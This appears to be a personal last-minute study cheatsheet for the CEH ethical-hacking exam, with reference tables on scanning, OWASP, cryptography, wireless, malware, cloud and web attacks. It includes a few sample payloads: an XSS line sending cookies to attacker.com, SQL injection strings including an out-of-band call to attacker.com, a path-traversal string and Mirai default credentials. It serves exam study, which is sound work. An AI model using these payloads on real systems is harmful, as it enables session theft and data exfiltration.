CEH Cheatsheet - Last-Mile Review

CEH Cheatsheet — Last-Mile Review

How to use this file: Read once 24–48h before exam. Memorise the tables, especially the Nmap, OWASP, and Crypto sections. If you can’t explain every row in plain English, go back to the relevant research/ file.

---

1. Exam Snapshot

Item	Value
Title	EC-Council Certified Ethical Hacker (CEH)
Current version	v13 (as of Aug 2026)
Format	Multiple-choice (MCQ); 4 hours; 125 questions
Pass score	~70% (statistical, not fixed)
Delivery	Pearson VUE / ECC exam centre, proctored
ID	Passport (international candidates)
Retake	1 free retake with voucher; 14-day cool-down
Cost	S$2,200 in SG (voucher only)
Recert	120 ECE credits / 3 years OR retake
Recert cost	$250/year or 1,200 ECE/year

---

2. The 5-Phase CEH Hacking Methodology

Some books show 6 phases (pre-attack + 5). For the exam, memorise 5 (CEH’s own canonical count). Source: EC-Council.

1. Reconnaissance        →  passive (OSINT) + active (scan)
2. Scanning & Enumeration →  ports, services, users, vulns
3. Gaining Access        →  exploit, password attack, social engineer
4. Maintaining Access    →  backdoor, rootkit, persistence
5. Covering Tracks       →  log tampering, timestomp, alternate streams

Pair with the Lockheed Martin Cyber Kill Chain (7 phases): Recon → Weaponisation → Delivery → Exploitation → Installation → C2 → Actions on Objectives.

And MITRE ATT&CK (14 enterprise tactics): Reconnaissance → Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Impact.

Exam tip: if a question says “attacker is at phase 3”, they mean the 5-phase model. If a question lists TTPs, it’s ATT&CK.

---

3. Nmap Must-Know Flags

Flag	Name	Use
-sS	SYN scan (“half-open”)	Default; fast, stealthy
-sT	TCP connect scan	When you lack raw socket (non-root)
-sU	UDP scan	Slow, for DNS/SNMP/NFS
-sN	NULL scan	No flags set; defeats some IDS, Unix-only
-sF	FIN scan	FIN flag only; same as NULL
-sX	XMAS scan	FIN+PSH+URG; lit up like a tree
-sA	ACK scan	Maps firewall rulesets
-sI	Idle scan	Uses zombie host for source spoofing
-sV	Version detection	Service banner + version
-O	OS fingerprinting
-A	Aggressive	-sV -O -sC
-Pn	Skip host discovery	Treat all hosts as up
-p-	All 65,535 ports	Slow but complete
-T0..-T5	Timing templates	0=paranoid, 5=insane
-f / --mtu	Fragment packets	IDS evasion
-D RND:10	Decoy scan	Hide among 10 random sources
-g 53	Source port	Spoof as DNS
--script=default	NSE scripts	Vuln scan, brute, etc

Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless → results are unreliable.

---

4. OWASP Top 10 (2021)

#	Category	Example attack	Defect
A01	Broken Access Control	IDOR, vertical/horizontal privilege escalation	Missing authz checks
A02	Cryptographic Failures	Plaintext storage, weak hash, no TLS	Crypto misuse
A03	Injection (SQLi, NoSQLi, LDAP, cmd)	' OR 1=1--	Untrusted input to interpreter
A04	Insecure Design	Missing rate limit on password reset	No threat model
A05	Security Misconfiguration	Default creds, exposed S3 bucket	Misconfig
A06	Vulnerable & Outdated Components	Log4Shell, Struts vuln	Unpatched deps
A07	Identification & Auth Failures	Weak passwords, no MFA, session fixation	AuthN broken
A08	Software & Data Integrity Failures	SolarWinds, Codecov	Unsigned updates, insecure deserialise
A09	Logging & Monitoring Failures	No alerting on repeated failed logins	Blind spots
A10	SSRF	Capital One breach	Server fetches user-supplied URL

2025 draft (likely official Q4 2025): added categories around LLM/AI prompt injection and supply-chain compromise via build pipelines (xz-utils class). Verify before exam.

---

5. Cryptography Cheat

Algo	Type	Key	Strength	Use today?
DES	Symmetric	56-bit	Broken	No
3DES	Symmetric	168-bit	Deprecated 2023	Legacy only
AES	Symmetric	128/192/256	Strong	Yes — default
Blowfish	Symmetric	32–448 bit	OK	File encryption
RC4	Sym	40–2048	Broken	No (TLS banned)
RSA	Asym	≥ 2048	Strong (≥ 3072)	Yes
ECC	Asym	256	Strong, smaller keys	Yes (mobile, TLS)
DH	Asym	1024–4096	Strong	Key exchange
MD5	Hash	128-bit	Broken (collisions)	No
SHA-1	Hash	160-bit	Broken	No (SHA-1 collision in 2017)
SHA-2	Hash	224/256/384/512	Strong	Yes
SHA-3	Hash	224/256/384/512	Strong	Emerging
HMAC	MAC	varies	Strong	API signing

Crypto Attacks

• Birthday attack — hash collisions (find same hash for 2 inputs in √n)
• Brute force — try all keys
• Known plaintext — have plaintext + ciphertext → derive key
• Chosen ciphertext — attacker can choose ciphertexts, learns decryption
• Man-in-the-middle — intercept DH key exchange
• Side-channel — power, EM, timing leakage
• Padding oracle (POODLE) — abuse CBC padding error messages
• Downgrade — force weakest protocol (SSL 3.0, TLS 1.0)

PKI

• X.509 certificate format
• CA signs certs; trust flows from root
• CRL = Certificate Revocation List (outdated, replaced by OCSP)
• OCSP = real-time cert status
• Self-signed = not trusted by default

Disk Encryption

• BitLocker (Windows), FileVault (macOS), LUKS (Linux)
• EFS (Windows Encrypting File System) — file-level, not full-disk

---

6. Wireless Attacks

Attack	Target	Tool
WEP cracking	24-bit IV reuse	aircrack-ng, airmon-ng
WPA2-PSK cracking	4-way handshake offline brute	aircrack-ng + dictionary
KRACK	4-way handshake nonce reuse	krackattacks-scripts
Evil twin	Captive portal phishing	hostapd, wifiphisher, fluxion
Deauth	Force reconnect to capture handshake	aireplay-ng -0
WPS PIN brute	8-digit PIN, 11K combos	reaver, bully
Bluetooth — BlueBorne	L2CAP vuln	exploitable pre-2017 devices
Bluetooth — BlueSmack	L2CAP ping of death	l2ping
Bluejacking	Send vCard to device	btobex
Bluesnarfing	Steal contacts/files	btobex / vulnerabilities

Standard	Year	Speed	Security
802.11a	1999	54 Mbps	WEP
802.11b	1999	11 Mbps	WEP
802.11g	2003	54 Mbps	WPA
802.11n	2009	600 Mbps	WPA2
802.11ac	2014	6.93 Gbps	WPA2
802.11ax (Wi-Fi 6/6E/7)	2019+	9.6+ Gbps	WPA3

WPA3 uses SAE (Simultaneous Authentication of Equals), resists offline dictionary. Dragonblood (2019) showed timing side-channel.

---

7. Malware Taxonomy (must know the tree)

Malware
├── Virus
│   ├── File infector
│   ├── Boot sector
│   ├── Macro
│   ├── Polymorphic (changes code)
│   ├── Metamorphic (rewrites itself)
│   └── Multipartite
├── Worm (self-propagating over network)
├── Trojan (disguised as legit)
│   ├── RAT (Remote Access Trojan)
│   ├── Banking trojan
│   ├── Backdoor
│   ├── DDoS trojan (Mirai-class)
│   ├── Downloader / Dropper
│   ├── Exploit kit
│   └── Defacement
├── Rootkit
│   ├── User-mode
│   ├── Kernel-mode
│   └── Bootkit
├── Ransomware
│   ├── Locker (locks screen)
│   ├── Crypto (encrypts files)
│   ├── Double extortion (encrypt + leak)
│   └── RaaS (Ransomware-as-a-Service)
├── Spyware / Keylogger
├── Fileless / LOLBins (PowerShell, WMI, PSExec)
├── Logic bomb (triggers on event)
└── Adware / PUP

Fileless malware uses trusted system tools (PowerShell, WMI, mshta, rundll32) to execute in memory. Hard to detect with signature AV.

---

8. DoS / DDoS Cheat

Attack	Layer	Tool	Defense
SYN flood	L4 (TCP)	hping3, LOIC	SYN cookies, rate-limit
UDP flood	L4	hping3, LOIC	Rate-limit, drop
ICMP flood / Smurf	L3	ping, smurf	Disable directed broadcast
Ping of Death	L3 oversized	ping -l	Patch
Teardrop	L3 frag	teardrop.c	Patch, drop bad frags
Fraggle	L3/L4 UDP echo	udp echo	Disable UDP echo
HTTP flood	L7	LOIC, Slowloris	WAF, rate-limit, CAPTCHA
Slowloris	L7 partial headers	slowloris.pl	WAF, conn timeout
DNS amplification	L3/L4	amp tools	Anycast, rate-limit, BCP38
NTP amplification	L3/L4	ntpdc	Patch NTP, restrict monlist
Memcached DRDoS	L3/L4	51,000× amp	Disable UDP, auth
Mirai	L7 botnet	Mirai source	Default creds, IoT patches

Botnet = network of compromised hosts (zombies). C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).

---

9. Cloud Security

Shared Responsibility Model

Layer	Customer responsible for	Provider responsible for
IaaS (EC2)	OS, runtime, app, data, IAM	Hardware, hypervisor, network
PaaS (RDS, Beanstalk)	App, data, IAM	OS, runtime, middleware
SaaS (Gmail)	Data, users, access	Almost everything

Top Cloud Attacks (exam-frequent)

1. Misconfigured S3 / Blob (public buckets) — Tesla, Capital One
2. SSRF → IMDSv1 — read IAM creds from metadata service (Capital One)
3. IAM privilege escalation — iam:PassRole, sts:AssumeRole abuse
4. Cloud malware injection — attacker uploads malicious AMI/Container
5. Cryptojacking — miners in cloud account
6. Cloud-Network MITM via DNS rebinding / BGP hijack
7. Container escape — privileged container + kernel exploit
8. K8s RBAC misconfig — overly permissive ServiceAccount

Cloud Security Tools

• ScoutSuite — multi-cloud auditor
• Prowler — AWS CIS benchmark
• Pacu — AWS exploitation framework
• kube-hunter — K8s vuln scanner
• Trivy — container image scanner

---

10. IoT / OT (Industrial)

IoT Attack Surface

• Default credentials (Mirai dictionary of 60+)
• Open Telnet/SSH on the WAN (Shodan finds them)
• Insecure firmware updates
• Weak/no encryption
• Unnecessary services (UPnP)

Mirai (2016, 2017, 2024 variants)

• Recruited 600K+ IoT devices
• Dictionary: admin/admin, root/xc3511, root/root, default/1234
• Spread via Telnet brute force
• Used for largest DDoS ever (1.1 Tbps on Dyn DNS, Oct 2016)

OT/ICS

• Purdue Model (Levels 0–5): physical process → safety → control → supervisory → site operations → enterprise
• Protocols: Modbus, DNP3, Profinet, EtherNet/IP, IEC 60870-5-104
• PLCs, SCADA, HMI, DCS
• Famous attacks: Stuxnet (2010, Iran centrifuges), TRITON/Trisis (2017, Saudi petrochemical), Industroyer (2016, Ukraine grid), PIPEDREAM/CHERNOVITE (2022, ICS toolkit)

---

11. Mobile Attacks

OS	Attack surface	Tool
Android	APK reverse, sideloading, permissions, WebView	MobSF, Frida, objection, jadx
iOS	Jailbreak, IPA reverse, keychain	Frida, objection, keychain-dumper

• MDM = Mobile Device Management
• BYOD vs COPE (Corporate-Owned, Personally Enabled)
• Root (Android) / Jailbreak (iOS) = removes OS sandbox

---

12. Sniffing / MitM

Attack	What it does	Tool
ARP poisoning	Tell victim “I’m the gateway”	Ettercap, BetterCAP
MAC flooding	Overflow CAM table → hub mode	macof
MAC spoofing	Impersonate another device	macchanger
DHCP starvation	Exhaust DHCP pool	Yersinia, dhcpstarv
Rogue DHCP	Hand out malicious DNS/gateway	Yersinia
DNS poisoning	Cache fake records	Ettercap, dnsspoof
SSL stripping	Downgrade HTTPS→HTTP	sslstrip
SSL/TLS downgrade (POODLE)	Force SSL 3.0	custom proxy
MitM browser	Inject into HTTPS via HSTS bypass	sslstrip +2

---

13. SQL Injection Types

Type	How	Example
In-band — error-based	Cause DB error with details	' → ODBC error
In-band — UNION	Append SELECT to original	' UNION SELECT username, password FROM users--
Inferential — boolean blind	Ask true/false questions	?id=1' AND 1=1-- vs ?id=1' AND 1=2--
Inferential — time blind	Use WAITFOR DELAY	'; IF (1=1) WAITFOR DELAY '0:0:5'--
Out-of-band	Use DNS/HTTP to exfil	'; EXEC xp_dirtree '//attacker.com/'--

Tools: sqlmap (the default), jSQL Injection, Havij (old)

---

14. Web Server / Web App Attacks

• Directory traversal — ../../../etc/passwd
• HTTP response splitting — CRLF injection in headers
• HTTP request smuggling — desync between front and back proxy
• Web cache poisoning — cache malicious response
• XSS — Reflected, Stored, DOM-based
• CSRF — force authenticated user action
• IDOR — change ID in URL, access others’ data
• XXE — XML external entity read
• SSRF — server fetches user-supplied URL

Tools: Burp Suite (Pro $449/yr), OWASP ZAP (free), Nikto (web server scanner), wfuzz / ffuf (fuzzing), sqlmap, XSStrike

---

15. XSS / CSRF Quick

XSS payload example: <script>document.location='http://attacker.com/?c='+document.cookie</script>

Reflected: payload in request → reflects in response. Stored: payload in DB. DOM: payload in client-side JS.

CSRF defense: SameSite=Strict cookie, CSRF token per request, Origin/Referer check.

CSP (Content-Security-Policy) is the XSS mitigation header.

---

16. Hashing & Password Cracking

Hash	Length	Cracking
LM	14 chars × 2 × DES	Trivial; case-insensitive
NTLM	MD4(UTF-16LE)	Rainbow tables
MD5	128-bit	Fast, rainbow tables exist
SHA-1	160-bit	Cloud GPU brute
SHA-256	256-bit	Slow with bcrypt prepend
bcrypt	60-char output	Slow by design (cost)
scrypt	60-char output	Memory-hard
Argon2	configurable	Memory-hard, modern choice

Tools: Hashcat (CPU+GPU, $0), John the Ripper (CPU, $0), Hydra (online brute)

Modern password storage: Argon2id > bcrypt > scrypt. Never MD5/SHA-* alone.

---

17. Pen-Test Methodology (NIST SP 800-115 / PTES)

1. Planning       →  scope, ROE, threat model
2. Discovery      →  passive + active recon
3. Attack         →  exploit, brute, social
4. Reporting      →  exec + technical summary
5. Remediation    →  work with client to fix
6. Re-test        →  verify fix

Box color	Knowledge	Time
Black	None	Most
Gray	Partial	Some
White	Full	Least

---

18. Singapore / SEA Legal Quick Ref

• PDPA (2012, amended 2020) — personal data. Consent Obligation, Purpose Limitation, Notification, Access/Correction, Accuracy, Protection, Retention Limitation, Transfer Limitation. DPO required for orgs > 5,000.
• CMCA (Computer Misuse Act 1993, renamed Computer Misuse and Cybersecurity Act 2017) — unauthorised access, modification, abstraction (added 2017). Penalty: up to 10 years + fine.
• Cybersecurity Act 2018 — CII (Critical Information Infrastructure) owners must report incidents to CSA within hours; run audits.
• SkillsFuture SSG — up to 70% subsidy for SG citizens/PRs on approved CEH training.

Authorisation is the #1 defence in any pen-test legal situation. If you don’t have written authorisation, every byte of network traffic is a CMCA violation.

---

19. Compliance Frameworks Quick

Framework	Scope	Key idea
PCI DSS 4.0	Card data	12 requirements, segmentation, encryption
ISO 27001	ISMS	Risk-based, Annex A 114 controls
ISO 27002	IS controls	Implementation guidance
NIST CSF	All industries	Identify-Protect-Detect-Respond-Recover
NIST 800-53	US federal	1000+ controls
NIST 800-115	Pen-test	THE pen-test guide
SOC 2	Service orgs	Trust principles: Security, Availability, Confidentiality, Processing Integrity, Privacy
HIPAA	US healthcare	PHI protections
GDPR	EU personal data	72h breach notification, DPO
CSA CCM	Cloud	Cloud Controls Matrix
FedRAMP	US gov cloud	Low/Moderate/High baselines
MAS TRM	SG financial	Technology Risk Management Guidelines

---

20. Tools to Recognise (by name, not by use)

Tool	Category	When you see it on exam
Nmap	Scanner	Port/service/OS detection
Wireshark	Packet capture	L2/L3 sniffing
tcpdump	CLI sniffer	Linux/server sniffing
Metasploit	Exploit framework	Exploitation, payloads
Burp Suite	Web proxy	Web app testing
OWASP ZAP	Web scanner	Free web app testing
sqlmap	SQLi	Automated SQLi
Nikto	Web server	Old-school web server scan
Aircrack-ng	Wireless	WiFi cracking
Kismet	Wireless	WiFi detection
Hydra	Online brute	SSH/FTP/HTTP brute
John the Ripper	Offline hash	Crack hashes CPU
Hashcat	Offline hash	Crack hashes GPU
Maltego	OSINT	Link analysis
theHarvester	OSINT	Email/subdomain recon
recon-ng	OSINT	Modular recon
Shodan / Censys	IoT search	Internet-wide scans
Metasploit / Armitage	Exploit
Cain & Abel	Legacy sniffer	Old exam questions
Ettercap	MitM	L2 MitM
BetterCAP	MitM	Modern L2/L7 MitM
Mimikatz	Windows creds	Dump LSASS
Responder	LLMNR/NBNS poison	Credential capture
BloodHound	AD attack paths	Visualise AD
PowerView	AD recon	PowerShell AD
Kismet	WiFi IDS
Mimikatz	creds
Yersinia	L2 attacks	DHCP, STP, CDP
Hping3	Packet crafter	Custom DoS, scan
Scapy	Packet crafter	Python, full control
Cuckoo / ANY.RUN	Sandbox	Malware analysis
IDA Pro / Ghidra	RE	Binary reverse engineering
YARA	Pattern match	Malware classification
Wifiphisher	Evil twin	Captive portal phish
Fluxion	Evil twin	Hostapd-based
Reaver	WPS	WPS PIN brute
SET (Social Engineering Toolkit)	SE	Phishing campaigns

---

21. Exam-Day Triggers (auto-suspect → answer)

Question says…	Think…
“What is the FIRST step in CEH methodology?”	Reconnaissance (passive first)
“Which Nmap flag for stealth?”	-sS (SYN, half-open)
“Default port for HTTPS?”	443
“Default port for SSH?”	22
“Default port for RDP?”	3389
“Default port for SMB?”	445
“Default port for LDAP?”	389 (636 for LDAPS)
“Default port for SQL Server?”	1433
“Default port for MySQL?”	3306
“Default port for PostgreSQL?”	5432
“Default port for Kafka?”	9092
“What is the BEST defense against XSS?”	Input validation + output encoding + CSP
“Defense in depth”	Multiple layers; no single point
“Zero Trust”	Never trust, always verify; NIST 800-207
“Least privilege”	Minimum required access
“Defense against SQLi”	Parameterized queries (not escaping)
“Strongest symmetric cipher”	AES-256
“Hash collision attack”	Birthday
“Which OSI layer for ARP?”	L2
“TCP 3-way handshake”	SYN → SYN-ACK → ACK
“Which phase of kill chain is most expensive to recover from?”	Actions on Objectives (already exfiltrated)
“Pen-test vs red team”	Pen-test = scope, find vulns. Red team = goal-based, evade detection.
“Singapore PDPA breach notify”	PDPC ASAP, 72h if significant harm
“Singapore CII owner”	Report to CSA within prescribed time
“What is the goal of a DoS?”	Availability (the A in CIA)

---

22. Last 24 Hours

• Re-read this cheatsheet once
• Re-read 01-exam-logistics.md § Exam Day
• Sleep 7+ hours
• Eat a real breakfast
• Bring passport, confirmation email, water, snack
• No new content; trust what you know

You’ve got this.